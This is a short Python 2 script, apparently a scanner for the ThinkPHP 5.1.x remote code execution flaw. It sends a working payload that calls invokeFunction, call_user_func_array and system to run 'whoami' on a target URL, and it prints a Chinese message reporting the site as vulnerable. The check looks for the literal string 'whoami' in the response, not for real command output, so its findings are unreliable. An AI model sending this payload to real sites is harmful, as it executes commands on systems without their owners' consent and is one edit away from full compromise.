# coding: utf8
import httplib2


def detect(url):        # version 5.1.x
    payload = '\\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=whoami'
    url_new = url + payload

    http = httplib2.Http()
    res, content = http.request(url_new)

    if content.find('whoami') >= 0:
        print url + u' 存在thinkphp远程代码执行漏洞'